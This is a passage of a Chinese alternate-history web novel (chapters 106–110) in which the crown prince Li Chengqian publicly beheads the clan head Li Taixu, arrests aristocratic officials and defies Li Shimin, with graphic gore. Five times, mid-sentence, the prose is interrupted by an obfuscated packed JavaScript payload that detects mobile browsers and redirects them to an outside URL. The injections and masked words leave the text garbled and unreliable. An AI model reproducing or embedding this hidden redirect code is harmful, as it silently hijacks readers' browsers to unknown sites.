冰冷的应答声整齐划一,两名身披重甲的卫士大步流星,越过那些噤若寒蝉的世家官员,左右架住了李泰煦的手臂。 冰冷的铁甲触感,让李泰煦浑身猛地一哆嗦。 他疯癫的控诉戛然而止,取而代之的是一种发自骨髓的恐惧。 他感觉自己的胳膊像是被两把巨大的铁钳夹住,那力道,根本不容他有半分挣扎。 卫士们拖着他,就像拖着一条死狗,在冰冷坚硬的石板上划出一道狼狈的痕迹。 “不!不!” 死亡的阴影瞬间笼罩下来,李泰煦彻底慌了,他拼命扭动着身体,双脚在地上乱蹬。 “李世民!你不能动我!” 他仰起头,满是血污的脸扭曲得不成样子,嘶声力竭地尖叫:“我是陇西李氏的族长!我也是你的血亲!你杀我,是同室操戈,是乱了纲常!” 他把最后的筹码,他最引以为傲的身份,声嘶力竭地喊了出来。 然而,这番话落在李世民的耳中,却只换来了一声冰冷到极点的嗤笑。 血亲? 族长? 李世民缓缓坐回龙椅,身体的重量压得宝座发出呻吟。 他看着被拖到殿前,死死挣扎的李泰煦,眼中的失望,浓得化不开。 刚才,就在刚才。 当李承乾那百万大军兵临城下的消息传来的那一刻。 当玄武门外传来那山呼海啸般的“太子千岁”的呼喊时。 这些跪在殿外的五姓七望的官员们,是什么嘴脸? 是他们,一个个面如死灰,前一刻还逼着自己下罪己诏的嚣张气焰荡然无存。 是他们,毫不犹豫地调转矛头,朝着李承乾的方向,露出了最谄媚、最卑微的笑容。 那一张张脸,瞬间从逼宫的恶鬼,变成了摇尾的哈巴狗。 那份决绝,那份迅速,比翻书还快。 真是忠心耿耿的好臣子啊! 李世民的心,像是被浸泡在冰水里,又被放在火上反复炙烤。 他对五姓七望失望透顶。 他对李泰煦,这个所谓的同宗血亲,更是失望到了极点。 这个蠢货,他难道以为自己什么都不知道吗? 他难道以为,他那点小心思,那点借刀**的计谋,能瞒得过自己这双眼睛? 他只是懒得戳穿。 因为和整个大唐的江山比起来,他李泰煦,连一只蝼蚁都算不上。 可现在,这只蝼蚁,却敢跳出来,用最愚蠢的方式,挑战他最后的底线。 而李承乾,自始至终,都只是静静地站在那里。 他看着李泰煦被拖拽,看着他哭嚎,那双幽深的眸子里,甚至连波澜都没有。 他只是淡淡地瞥了一眼,就像在看一出与自己毫不相干的闹剧。 这份漠然,比任何言语都更具杀伤力。 它让李泰煦的挣扎,显得愈发可悲、可笑。 “陛下!陛下饶命啊!” 就在李泰煦的哭嚎声变得嘶哑,几近绝望之际,玄武门外,骤然传来一阵杂乱却急促的脚步声。 这声音,不像大军行进那般整齐划一,反倒像是临时凑起来的乌合之众,带着一种莫名的骚动。 紧接着,一道清亮却又尖锐的女声,划 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253030|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破了这压抑到极致的空气。 “住手!” 声音由远及近,带着不容置喙的命令口吻。 所有人的目光,包括那两个拖着李泰煦的卫士,都不由自主地朝着声音的来源望去。 只见玄武门洞开的门廊下,一个身着华丽宫装的女子,正领着数百名手持棍棒的僧人,气势汹汹地冲了进来。 那些僧人,个个身着灰色僧袍,却面露凶光,手中的禅杖、戒棍泛着森然的冷意,与其说是出家人,不如说是一群剃了发的亡命徒。 为首的女子,正是当今圣上的第十七女,高阳公主。 她面罩寒霜,凤目圆睁,径直穿过那些跪伏在地的文武百官,目光如利剑,死死地锁定了站在殿前,渊渟岳峙的李承乾。 “李承乾,你给本宫住手!” 高阳公主的声音尖利无比,回荡在空旷的广场上,带着一种歇斯底里的质问:“你要弑父吗?!” 这一声怒吼,石破天惊。 所有人都愣住了。 弑父? 这个罪名,太大了,大到可以压垮任何人。 被拖拽在地,早已魂飞魄散的李泰煦,听到这句话,抓住了最后一根救命稻草,眼中瞬间爆发出求生的光芒。 “公主!公主救我!太子他要**,他要弑父杀君啊!” 李承乾缓缓转过头。 他的动作很慢,慢到每一个关节都在发出细微的声响。 他看向高阳公主,那张俊美如天神的脸上,没有愤怒,没有惊讶,只有一种看到了什么脏东西似的,毫不掩饰的厌恶。 他的眼神,冰冷而轻蔑,就像在看一个跳梁小丑,在最不合时宜的时候,用最拙劣的演技,上演着一出滑稽至极的闹剧。 高阳公主? 李承乾的嘴角,几不可察地向上牵动了一下,勾起一抹极尽嘲讽的弧度。 就是这个女人,大唐皇室的公主,房玄龄的儿媳,却与一个名叫辩机的和尚在封地私通,丑闻闹得满城风雨,让整个李氏皇族都颜面扫地。 她给自己的驸马房遗爱戴的那顶绿帽子,绿得全天下都油光发亮。 现在,她竟然有脸带着一群和尚,冲到这玄武门,来质问自己是否要“弑父”? 真是天大的笑话。 她哪来的脸? 哪来的胆子? 第106章 高阳!你是想在玄武门前,开一场水陆法会吗? “高阳,” 李承乾终于开口了,声音平淡得听不出情绪,但那份平淡之下,却是深不见底的寒意,“你带这么多……‘高僧’来此,是想在玄武门前,开一场水陆法会吗?” 他的目光,若有似无地扫过高阳身后那群凶神恶煞的僧兵,话语里的讥讽,像刀子一样扎人。 高阳公主的脸“唰”地一下涨得通红。 她自然听得出李承乾话里的羞辱,那是在揭她最不堪的伤疤。 但此刻,她却强行压下羞愤,挺直了腰杆,义正辞严地喝道:“李承乾!你休要巧言令色!你拥兵百万,兵临城下,威逼父皇,如今还要当着文武百官的面,残害宗亲!你的狼子野心,昭然若揭!” 她伸出纤纤玉指,直指李承乾的鼻子,声色俱厉:“我今天,就是来阻止你这逆伦之举的!有我在,你休想伤害父皇一根汗**!” 这番话说得是慷慨激昂,正气凛然。 她才是那个维系纲常伦理,守护大唐江山的最后一道屏障。 而此时,端坐在龙椅之上的李世民,一直冷眼旁观着这一切。 他的心中,本已是万念俱灰。 他看透了五姓七望的虚伪,看透了陇西李氏的愚蠢,更对自己亲手调教出的太子,感到了前所未有的恐惧和陌生。 整个世界,似乎都只剩下冰冷的背叛和算计。 可当高阳公主,这个他最不省心,甚至一度让他觉得是皇室耻辱的女儿,带着她那可笑的“僧兵”冲进来,喊出那番虽然愚蠢却无比坚决的话时。 李世民那颗早已冰封的心,竟然不可思议地,感受到了暖意。 这丝暖意,很微弱,却真实存在。 他看着高阳,看着她那张因愤怒而涨红的脸,看着她身后那群一看就是乌合之众的僧人。 是啊,多么可笑。 多么荒唐。 在他李世民所有的子嗣中,聪明的,有。 比如承乾,心机深沉,手段狠辣,已经有了帝王的雏形。 隐忍的,也有。 比如李治,看似不争,实则暗中观察,等待时机。 可当他真正身处“危难”之际,当玄武门外响起“太子千岁”的山呼海啸时。 那些聪明的,隐忍的,一个个都选择了沉默,选择了观望。 没有一个人站出来。 没有一个人,敢于直面李承乾的锋芒。 反倒是这个他最看不上,最任性妄为,最不知廉耻的女儿。 她来了。 她带着她仅能调动的,荒唐可笑的力量,冲到了这里。 她以为承乾要杀他,所以她来“救驾”了。 这份忠心,何其愚蠢。 这份孝义,何其可笑。 可偏偏,就是这份愚蠢和可笑,在此刻,却成了唯一刺破这无边黑暗的微光。 李世民的眼眶,竟有些微微发热。 他缓缓地靠在龙椅的靠背上,身体的疲惫感如潮水般涌来。 他心中涌起难以言喻的悲凉。 朕的儿子们…… 朕的臣子们…… 到头来,竟还不如一个胡闹的丫头。 高阳公主的出现,像是一颗投入死水中的石子,瞬间打破了原有的对峙。 李承乾的耐心,似乎正在被这个愚蠢的女人一点点耗尽。 他不再看高阳,而是将目光重新投向了地上如烂泥的李泰煦,声音冷得像腊月的寒风。 “还愣着做什么?” “拖下去!” “斩!” 这一个“斩”字,如平地惊雷,炸得所有人耳膜嗡嗡作响。 那两名卫士浑身一震,不敢再有丝毫犹豫,巨大的力道再次施加在李泰煦的手臂上,拖着他便要往殿外走。 “不!不!高阳公主!救我!” 李泰煦发出了杀猪般的惨嚎。 “你敢!” 高阳公主彻底被激怒了,她一个箭步上前,张开双臂,拦在了李承乾和李泰煦之间,摆出了一副悍不畏死的架势。 “李承乾!今天有我在此,你休想动他!” “你要杀他,就先从我的尸体上踏过去!” 她身后的数百僧兵,也齐齐发出一声呐喊,手中的棍棒重重地顿在地上,发出沉闷的响声,声势倒也骇人。 玄武门前,气氛瞬间剑拔**张到了极点。 李承乾的嘴角,勾起一个近乎残忍的弧度。 他没有再多说一个字,也没有看龙椅上神色莫测的父皇。 他就那样,在一片死寂之中,迈开了脚步。 一步。 两步。 他走得很慢,龙靴踩在玄武门冰冷的青石板上,发出“哒、哒” 的声响。 每一下,都像是重锤,狠狠砸在所有人的心口。 这声音不大,却盖过了殿外山呼海啸的呐喊,盖过了李泰煦杀猪般的嚎叫。 整个玄武门前,只剩下这令人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253031|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窒息的脚步声。 高阳公主原本挺得笔直的脊梁,在这一声声的逼近中,不自觉地开始发僵。 她看到李承乾的眼神,那是一种怎样可怕的眼神? 没有愤怒,没有杀意,甚至没有任何情绪。 那是一片虚无的黑洞,能吞噬一切光亮。 他看着她,却又好像透过她,在看一只挡路的蝼蚁。 她所倚仗的公主身份,她所自恃的兄妹情分,在这一刻,都成了天大的笑话。 那数百名僧兵,手中的木棍握得更紧了,可他们的手心,已经全是冷汗。 一些人甚至开始不自觉地向后挪动脚步,喉结上下滚动,发出艰难的吞咽声。 他们面对的,不是一个可以讲道理的太子。 是一个即将大开杀戒的疯子! “皇兄……你……” 高阳的声音干涩,带着她自己都未曾察觉的颤抖。 她想说些什么狠话,却发现一切言语都显得那么苍白无力。 李承乾终于走到了她的面前。 两人相距不过三尺。 高阳甚至能闻到他身上传来的,那股淡淡的龙涎香混合着血腥气的味道。 他没有停下。 他甚至没有侧身。 他就那么直直地,继续向前走。 他的肩膀,轻描淡写地,撞在了高阳的肩膀上。 那力道并不重,却让高阳公主像被攻城锤击中,不受控制地向后踉跄了两步。 她脚下的绣花鞋踩了个空,整个人狼狈地跌坐在地上。 满头的珠翠叮当作响,散落一地,如同她那可笑的尊严。 时间,在这一刻凝固了。 所有人都忘了呼吸。 他们眼睁睁地看着,太子殿下目不斜视地从自己亲妹妹的身旁走过,她只是一块路边的石头。 他走到了那两个瑟瑟发抖的卫士面前,走到了像一滩烂泥一样瘫在地上的李泰煦面前。 李泰煦的哀嚎戛然而止,取而代之的是一种极致的恐惧。 他的瞳孔缩成了针尖大小,裤裆处,骚臭的液体迅速蔓延开来,洇湿了华贵的朝服。 他竟被活活吓尿了。 “殿……殿下……” 李泰煦用尽最后力气,从喉咙里挤出几个破碎的音节,“饶……饶命……我是你的族亲啊!” 李承乾置若罔闻。 “驱逐我出族谱的时候,不是皇亲,现在又是了?” 第107章 杀你了,又如何! “锵——!” 一声清越的龙吟。 逆鳞剑出鞘! 剑身狭长,寒光凛冽,一道血色的纹路从剑柄处一直延伸到剑尖,一条蛰伏的恶龙。 他没有用卫士的刀。 他要亲手,来了结这个胆敢挑战他威严的蠢货! 高阳公主瘫坐在地上,仰着头,呆呆地看着这一幕。 她看到李承乾高高举起了那把散发着不祥气息的长剑,剑尖在午后的阳光下,折射出刺目的寒芒。 那一刻,她的脑海中一片空白。 她所有的骄傲,所有的任性,所有的依仗,都在那高举的剑锋之下,被碾得粉碎。 “不——!” 一声凄厉的尖叫划破长空。 是高阳发出的声音。 可已经晚了。 李承乾的手臂,带着万钧之势,狠狠斩落! “噗嗤!” 那声音并不响亮,甚至有些沉闷。 就像切开一个熟透的西瓜。 一颗大好的人头,冲天而起,在空中翻滚了两圈,脸上还凝固着最后一刻的惊骇与绝望。 脖颈的断口处,血泉如注,喷涌而出! 温热的、猩红的鲜血,劈头盖脸地洒了下来,溅满了高阳公主一身。 她那华美的宫装,她那苍白的脸颊,瞬间被染上了一层触目惊心的红。 “啪嗒。” 李泰煦的头颅,滚落在地,一路滚到了高阳的脚边,那双死不瞑目的眼睛,正直勾勾地,死死地盯着她。 “啊——!” 高阳公主发出了撕心裂肺的尖叫,她手脚并用地向后爬,想要远离那颗可怖的头颅,却因为浑身脱力,只是在原地狼狈地挣扎。 李承乾缓缓收剑,剑尖斜指地面,一滴滴殷红的血珠,顺着血槽滑落,滴在青石板上,晕开一朵朵妖异的梅花。 他看都没看地上那具无头的尸体,而是缓缓转过身,将那双毫无感情的眸子,投向了瘫倒在地、状若疯癫的高阳。 他的声音很轻,却像淬了冰的刀子,一字一句,刺入高阳的耳膜。 “我斩了。” 他顿了顿,嘴角扯出一个冰冷的弧度。 “你,奈我何!” “轰!” 高阳公主只觉得整个世界都在旋转,耳边嗡嗡作响。 “你奈我何……” 这四个字,如同一道道催命的符咒,在她脑海中疯狂回响。 是啊,她能奈他何? 她带着数百僧兵冲进玄武门,摆出悍不畏死的架势,结果呢? 人家当着她的面,亲手斩了她要保的人。 甚至,连多看她一眼都欠奉。 那是一种怎样的蔑视? 那是一种深入骨髓的羞辱! 她引以为傲的一切,在绝对的、冷酷的暴力面前,脆弱得不堪一击。 前所未有的寒意,从她的尾椎骨直冲天灵盖。 她浑身不受控制地剧烈颤抖起来,牙齿咯咯作响。 她看着眼前的李承乾,那个曾经还会跟她斗嘴、会无可奈何地叫她一声“皇妹”的兄长,已经彻底消失了。 站在她面前的,是一个从地狱深渊爬出来的魔鬼。 他周身都散发着浓得化不开的杀气与血腥味,那股气息凝如实质,压得她喘不过气来。 她身后的那群僧兵,早已吓得魂飞魄散。 “咣当……当啷……” 一片兵器落地的声音。 那些刚才还耀武扬威的僧人,此刻一个个面如土色,丢掉手中的棍棒,跪伏在地,将头深深埋进臂弯,连大气都不敢喘一口。 整个玄武门前,鸦雀无声。 龙椅之上,李世民放在扶手上的手指,微微蜷曲。 他看着那个满身鲜血,神情癫狂的女儿。 又看了看那个持剑而立,冷酷如冰的儿子。 那心中刚刚升起的暖意,早已被这泼天的血色浇得冰冷,彻骨的寒意,从心底深处,一点点蔓延至四肢百骸。 死寂。 玄武门前,是死的寂静。 连高阳公主那癫狂的啜泣声都被一只无形的手扼住,只剩下压抑在喉咙深处的、细微的抽噎。 空气中,浓郁的血腥味混杂着雨后泥土的湿气,钻入每个人的鼻腔,黏腻而沉重,令人作呕。 文武百官,那些在朝堂上挥斥方遒、口若悬河的栋梁之材,此刻都成了泥塑木雕。 他们僵立在原地,眼珠子几乎要从眼眶里瞪出来,死死盯着那具尚在抽搐的无头尸身,和那个持剑而立、宛如修罗的太子。 杀了。 真的杀了。 当着陛下的面,当着满朝文官武将的面,当着数百僧兵的面,当着他亲妹妹的面。 斩了陇西李氏的族长,李泰煦。 那可是李泰煦啊! 是当今圣上都要以礼相待的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253032|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宗族领袖,是五姓七望中隐隐的执牛耳者,是代表着大唐门阀世家最高脸面的那个人! 在李承乾被逐出族谱之前,他也是李承乾的族长! 这已经不是简单的杀伐果断,这是疯了! 这是一个疯子才能做出来的悖逆之举! 人群中,长孙无忌的脸色从未如此难看过,他的嘴唇微微发白,藏在宽大朝服下的手,攥得指节咔咔作响。 他看着李承乾,在看一个完全不认识的怪物。 他原以为自己已经足够了解这个外甥,了解他的隐忍和城府,可今天他才发现,自己错得离谱。 这哪里是隐忍? 这分明是蛰伏! 是毒蛇在出击前,将自己伪装成无害的草绳! 魏征那张素来古板严肃的脸上,此刻写满了震骇与难以言喻的…… 恐惧。 他一生以直谏为己任,天子之怒亦不能使其屈服。 可眼前的景象,让他这位铁骨铮铮的谏臣,都感到了凉气从脚底板直窜脑门。 他想开口呵斥,想痛陈此举之祸国殃民,可话到了嘴边,却怎么也吐不出来。 因为李承乾的眼神,已经淡淡地扫了过来。 那眼神里没有愤怒,没有杀意,只有一片虚无,一片漠然。 在他眼中,无论是李泰煦,还是他魏征,亦或是这满朝文官,都不过是脚边的尘埃,随手便可拂去。 李承乾动了。 他迈开脚步,无视了瘫在地上屎尿齐流的高阳,径直走向李泰煦那具尚有余温的尸体。 他的军靴,踩在混着血水的青石板上,“啪嗒”、“啪嗒”,每一步,都像是踩在众人脆弱的心脏上。 他走到尸身旁,停下。 然后,他用那滴血的剑尖,轻轻地、甚至可以说是随意地,拨弄了一下那颗滚落在旁的头颅。 他将那颗头颅翻了个面,让那双死不瞑目的眼睛,朝向了太极殿的方向,朝向了那群瑟瑟发抖的五姓七望的官员。 做完这个动作,他才缓缓开口,声音不大,却清晰地传入了每一个人的耳朵。 “把我逐出宗族了,杀你又如何。” 平淡的语调,没有任何起伏,像是在陈述一件微不足道的小事。 可这平淡的话语,却如同一道九天惊雷,在众人脑海中轰然炸响! 杀你,又如何! 何等的狂悖! 何等的蔑视! 第108章 李承乾之威 他这是在对李泰煦的尸体说话吗? 不! 他是在对天下所有的门阀世家说话! 他是在对那传承了数百年的宗族法度说话! 站在人群中的清河崔氏、太原王氏、范阳卢氏等几家的家主,在听到这句话的瞬间,齐齐打了个哆嗦。 无法抑制的寒意,从骨髓深处疯狂地滋生出来,让他们四肢冰凉。 他们之前还在为李泰煦的出头而暗自庆幸,以为有陇西李氏这杆大旗顶在前面,他们便可高枕无忧。 可现在,旗杆断了。 被李承乾用最野蛮、最直接的方式,当着所有人的面,一剑砍断! 李承乾杀了李泰煦一族。 如今,又当众诛杀了李泰煦本人。 他这是在用李泰煦的血,来警告他们! 如果连本家的宗族族长都说杀就杀,那他们这些外姓的世家,又算得了什么? 在李承乾的眼中,恐怕连条狗都不如! 一个崔氏的旁支官员,两腿一软,竟是控制不住地“噗通”一声跪倒在地,裤裆处迅速湿了一大片,散发出难闻的骚臭。 他这一跪,推倒了第一块多米诺骨牌。 “噗通!” “噗通通!” 接二连三的,那些来自五姓七望的官员们,一个接一个地跪了下去,额头死死抵着冰冷的地面,连头都不敢抬。 他们怕了。 是真的怕了。 那是一种面对天敌时,源自生命本能的恐惧。 李承乾的目光,从那些跪倒的身影上一一扫过,嘴角那冰冷的弧度,似乎又加深了几分。 他的眼神最后落在了龙椅之上,那个面沉如水,看不出喜怒的父亲身上。 父子二人的目光,在空中碰撞。 一个冷酷如冰,一个深沉似海。 整个玄武门前,除了风声,便只剩下血滴落的声音。 良久,李世民的视线从儿子那张冷峻的脸上移开,落在了那具无头的尸体上,眼神复杂到了极点。 他想起了多年前,同样是在这玄武门,他也曾血染白袍,手刃兄弟。 可他从未想过,他的儿子,会以一种比他当年更加酷烈、更加决绝的方式,重演这一幕。 只是这一次,被斩的,是李氏宗亲,是维系着皇族与天下世家纽带的陇西李氏族长。 李承乾,他这是要干什么? 他清算了李泰煦一族,又斩了李泰煦。 难道…… 他还要继续清理整个皇族吗? 这个念头一旦升起,就再也无法遏制。 李世民看着那个浴血而立的儿子,第一次感觉到,事情,已经完全脱离了他的掌控。 这个他一手扶持起来的太子,已经长成了一头他都无法驾驭的…… 猛兽。 何等的蔑视! 这已经不是狂悖了,这是对整个门阀世家,对延续了数百年的规则的……宣判。 宣判它们的**。 雨丝不知何时停了,唯有屋檐上的积水还在滴答落下,与青石板上温热的血水混在一处,声音不大,却敲击在每个人的心坎上。 人群中,那些来自太原王氏、荥阳郑氏、范阳卢氏的官员们,脸色已经不是苍白,而是一种死灰。 他们的身体在不受控制地颤抖,牙关磕碰着,发出“咯咯”的轻响。 他们的目光,死死地黏在李泰煦那颗头颅上。 那双圆睁的、充满惊怒与不甘的眼睛。 下一个,会是谁? 是我吗? 李承乾动了。 他收回目光,不再看那颗卑微的头颅,而是缓缓转身,面向了那群抖若筛糠的世家官员。 他没有走过去。 他只是站在原地,用那双沾染了血腥气的军靴,轻轻碾了碾脚下的血水。 这个动作,让那群官员的心脏骤然缩紧,几乎要从喉咙里跳出来。 “你们,”李承乾终于开口了,声音里带着一种奇特的、令人毛骨悚然的平静,“方才,在大殿之上,说要与孤划清界限?” 没有人敢回答。 回答“是”,就是承认与李泰煦同谋,下场就在眼前。 回答“不是”,那就是欺君,更是找死。 这是一个绝杀之问。 李承乾似乎也不需要他们的答案。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253033|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他嘴角扯出一抹极淡的弧度,那不是笑,而是一种更接近于残忍的表情。 “很好。” 他吐出两个字。 就在这时,一阵沉重而整齐的脚步声,从玄武门外传来。 “哐!哐!哐!” 那是重甲摩擦碰撞的声音,是军靴踏在石板上的声音,带着一股冰冷肃杀的铁血之气,瞬间冲散了现场的死寂。 众人惊恐地回头望去。 只见一队队身着玄黑色铁甲、头戴覆面铁盔的士兵,潮水般涌了进来。 他们的甲胄上,雕刻着狰狞的饕餮纹,手中握着的是清一色的陌刀,刀锋在阴沉天色下,反射着幽冷的光。 长城守卫军! 是陛下最精锐的亲军! 长孙无忌瞳孔猛地一缩,心沉到了谷底。 他瞬间明白了。 这不是李承乾一个人的疯狂,这是一场早就设计好的……**! 是君与储,父与子,联手布下的天罗地网! 为首的一名将领,身材魁梧,快步走到李承承乾面前,单膝跪地,声音洪亮如钟:“末将李君羡,奉陛下密令,前来助太子殿下……清扫门户!” “清扫门户”四个字,咬得极重。 那些五姓七望的官员们,听到这四个字,最后一个个腿都软了,有几个甚至直接瘫倒在地,裤裆下迅速洇开一片深色的水渍,腥臊之气弥漫开来。 完了。 彻底完了。 李承乾淡淡地“嗯”了一声,用剑尖指向那群面如死灰的世家官员,语气轻描淡写。 “太原王氏王景,荥阳郑氏郑元寿,范阳卢氏卢文纪……凡今日在殿上,附议李泰煦者,一个不留,全部拿下,押入天牢。” “喏!” 李君羡猛然起身,大手一挥。 “拿下!” 长城守卫军,立刻扑了上去。 “太子饶命!太子殿下饶命啊!” “我等无罪!我等只是……只是附议族长之言,何罪之有!” “放开我!我乃朝廷三品大员!你们不能……” 凄厉的惨嚎和徒劳的挣扎,响彻玄武门。 第109章 “你大哥是**的?” “你弟弟是**的!” 然而,长城守卫军的士兵们,脸上只有冰冷的铁面,他们的动作没有丝毫迟疑。 拳头砸在脸上,刀柄捅在腹部,惨叫声戛然而止。 一个个平日里养尊处优、高高在上的世家大族官员,此刻被粗暴地反剪双手,用麻绳捆了个结结实实。 他们身上的华美官服,被扯得歪七扭八,沾满了泥水和血污,头上的官帽滚落一地,被人随意踩踏。 高阳公主瘫在不远处,眼睁睁看着这一切。 她看着那些平日里对她阿谀奉承,见了她都要躬身行礼的世家叔伯,此刻却被拖拽着。 她再看向自己的皇兄。 他静静地站在那里,看着这人间地狱般的场景,眼神里没有一丝一毫的波澜。 仿佛这一切,都与他无关。 恐惧,紧紧攥住了高阳的心脏,让她几乎窒息。 她终于明白,她的皇兄,那个曾经会温和地叫她“高阳”的兄长,已经**。 站在那里的,是一个她完全不认识的魔鬼。 一个以天下为棋盘,以众生为棋子的……怪物! 她哆嗦着,想要爬起来逃走,可四肢根本不听使唤。 李承乾的目光,终于落在了她的身上。 那目光很轻,很淡,却比最锋利的刀子还要刺人。 高阳浑身一僵,整个人连呼吸都停滞了。 她看到李承乾朝她走了过来。 一步,又一步。 军靴踩在血水里的“啪嗒”声,成了她此刻唯一能听到的声音。 她眼中的惊恐,瞬间达到了极致。 她张开嘴,想要尖叫,想要求饶。 “皇……皇兄……” 然而,发出的声音,却细若蚊蝇。 李承乾在她面前停下,居高临下地俯视着她。 他没有说话,只是伸出手,用那柄还在滴血的剑,轻轻拍了拍她惨白的脸颊。 冰冷的剑身,带着浓郁的血腥味,贴在她的皮肤上。 高阳的身体,剧烈地颤抖起来。 她感觉自己快要疯了。 “看到了吗?”李承乾的声音,在她头顶响起,很轻,很柔,却让她如坠冰窟,“这就是背叛我的下场。” “记住,你是李家的公主,不是陇西李氏的女儿。” “再有下次,这把剑,就会落在你的脖子上。” 说完,他收回了剑,再也不看她一眼,转身离去。 高阳浑身的力气,仿佛在这一瞬间被抽空。 她瘫在地上,大口大口地喘着粗气,眼泪和鼻涕混在一起,狼狈不堪。 就在高阳公主的神魂都仿佛要被那股冰冷的杀意冻结时,一阵急促而沉重的马蹄声传来。 轰隆隆—— 声音由远及近,带着一股不容置疑的威严与滔天的怒火,狠狠撞碎了玄武门前这片死寂的血腥。 “住手!” 一声暴喝,震得人耳膜嗡嗡作响。 李承乾缓缓抬起眼。 只见宫道尽头,一队身着金甲的百骑簇拥着一道明黄色的身影,正向此处疾驰而来。 为首之人,头戴翼善冠,身着龙袍,不是当今天子李世民,又是何人! 战马嘶鸣,铁蹄踏在沾满血水的青石板上,溅起一片片猩红的污渍。 李世民翻身下马,动作间带着一股雷霆万钧之势。他看也未看那些被捆缚在地、狼狈不堪的世家官员,目光直直刺向提剑而立的李承乾,以及瘫软在他脚边,瑟瑟发抖的高阳。 那张一向沉稳威严的脸上,此刻布满了狂怒与不敢置信。 他看到了什么? 血流成河的玄武门,哀嚎遍野的朝廷命官,还有自己最疼爱的女儿,面无人色地倒在血泊里,而他的太子,他的亲儿子,正用一把滴血的剑,指着自己的亲妹妹! “孽子!”李世民的胸膛剧烈起伏,声音因极致的愤怒而变得有些嘶哑,“李承乾,你休要伤了高阳!” 他大步流星地走来,龙袍下摆在风中猎猎作响。 “难道你还要手足相残吗?!” 这句话,他几乎是吼出来的。 声音在空旷的玄武门前回荡,带着一种奇异的颤抖和尖锐。 空气,在这一瞬间,凝固了。 所有人都屏住了呼吸。 长城守卫军的士兵们,默默垂下了头,握着刀柄的手却更紧了。 那些被俘的官员,眼中先是闪过一丝希望,随即又被更大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253034|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的恐惧所淹没。 天家父子,竟在此地,如此对峙! 李承乾没有立刻回答。 他甚至没有看他暴怒的父皇。 他的目光,依旧停留在高阳那张惨白如纸的脸上,嘴角甚至还挂着一丝若有若无的、冰冷的笑意。 他享受着这种寂静。 享受着他父皇声音里那一闪而逝的惊惶。 享受着这玄武门的风,吹拂在他脸上的感觉。 这风,和多年前那个夏日的清晨,是何其相似。 过了许久,久到李世民都快要压抑不住再次爆发的怒火时,李承乾才终于动了。 他缓缓地,一寸一寸地,转过身来。 他的动作很慢。 他终于正眼看向李世民。 那双眼睛,没有一丝波澜,更没有半分面对君父的敬畏。 有的,只是平静。 一种令人心悸的,死水般的平静。 “父皇。” 他开口了,声音不大,却清晰地传到了每个人的耳朵里。 李世民双目圆瞪,死死地盯着他。 然而,李承乾接下来的话,却砸在了他的心口。 李承乾豁然转身,手中长剑的血珠“滴答”一声,落在石板上,声音清脆得刺耳。 他直视着李世民,一字一句,清晰无比。 “父皇,你说手足相残?” 他往前走了一步。 军靴踩在血水里,发出的声音与方才恐吓高阳时一模一样。 “手足相残的,是你!” 轰! 李世民的脑中,仿佛有惊雷炸响。 他整个人僵在了原地,脸上的狂怒瞬间褪去,取而代之的是一种极致的苍白和骇然。 他看着李承乾,嘴唇哆嗦着,却一个字也说不出来。 他仿佛看到了一个魔鬼。 一个从地狱深处爬出来,专门为了向他索命的魔鬼! 李承乾却不给他任何喘息的机会。 他那冰冷而残酷的声音,继续在这血腥的玄武门前响起,捅进李世民早已结痂的旧伤口,再狠狠地搅动。 “你大哥是**的?” “你弟弟是**的!” 第110章 